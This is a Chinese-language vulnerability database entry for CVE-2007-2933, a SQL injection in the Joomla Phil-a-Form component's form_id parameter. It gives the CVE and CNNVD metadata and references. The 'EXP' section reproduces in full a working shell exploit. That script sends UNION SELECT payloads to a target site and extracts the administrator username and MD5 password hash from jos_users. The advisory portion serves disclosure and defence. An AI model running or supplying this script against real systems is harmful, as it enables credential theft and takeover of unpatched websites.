Joomla! Phil-a-Form (com_philaform) 'index.php'SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1113042 漏洞类型 SQL注入
发布时间 2007-05-28 更新时间 2007-05-30
CVE编号 CVE-2007-2933 CNNVD-ID CNNVD-200705-528
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/4003
https://www.securityfocus.com/bid/81751
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200705-528
|漏洞详情
Joomla!Phil-a-Form(com_philaform)组件的index.php中存在SQL注入漏洞。远程攻击者可以借助form_id参数,执行任意的SQL指令。
|漏洞EXP
#!/bin/sh

#################################################################################
#										#
#    Joomla Component Phil-a-Form <= 1.2.0.0 SQL Injection Exploit		#
#										#
# Discovered by: Cody "CypherXero" Rester					#
# Payload: Admin Username and MD5 Hash Retrieval				#
# Website: http://www.cypherxero.net						#
# Shoutouts to the milw0rm community, the PIMP forums				#
# and my blog, of course  	 						#
#										#
#################################################################################

echo "-------------------------------------------------------------------------"
echo "      Joomla Component Phil-a-Form <= 1.2.0.0 SQL Injection Exploit"
echo "-------------------------------------------------------------------------"
echo "Usage: sql_philaform_jos.sh [HOST] [FORM_ID]"
echo "[HOST] = Hostname of targetwebsite"
echo "[FORM_ID] = Form ID of Phil-a-Form post"
echo "e.g. sql_philaform_jos.sh http://www.targethost.com 2"
echo "-------------------------------------------------------------------------"
echo "                           Cody CypherXero Rester"
echo "            		 http://www.cypherxero.net"
echo "-------------------------------------------------------------------------"

jos_username="%20UNION%20SELECT%20null,null,username,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20jos_users%20--"
jos_password="%20UNION%20SELECT%20null,null,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20jos_users%20--"
host="$1"
form_id="$2"

if [ "$form_id" == "" ]
then
echo "Syntax not correct! See usage example!"
exit 1
else
echo ""
fi

echo "Username" > $host.txt
echo "--------" >> $host.txt
links -dump "http://$host/index.php?option=com_philaform&form_id=$form_id$jos_username" | grep -i "philaform_" | awk -F\_ '{ print $2 }' | awk '{ print $1 }' >> $host.txt
echo " " >> $host.txt
echo "MD5 Password Hash" >> $host.txt
echo "-----------------" >> $host.txt
links -dump "http://$host/index.php?option=com_philaform&form_id=$form_id$jos_password" | grep -i "philaform_" | awk -F\_ '{ print $2 }' | awk '{ print $1 }' >> $host.txt

echo ""
cat $host.txt

exit 0

# milw0rm.com [2007-05-28]
|受影响的产品
Phil-A-Form Phil-A-Form 1.2.0.0
|参考资料

来源:MILW0RM
名称:4003
链接:http://www.milw0rm.com/exploits/4003
来源:OSVDB
名称:38150
链接:http://osvdb.org/38150
来源:XF
名称:philaform-index-sql-injection(34562)
链接:http://xforce.iss.net/xforce/xfdb/34562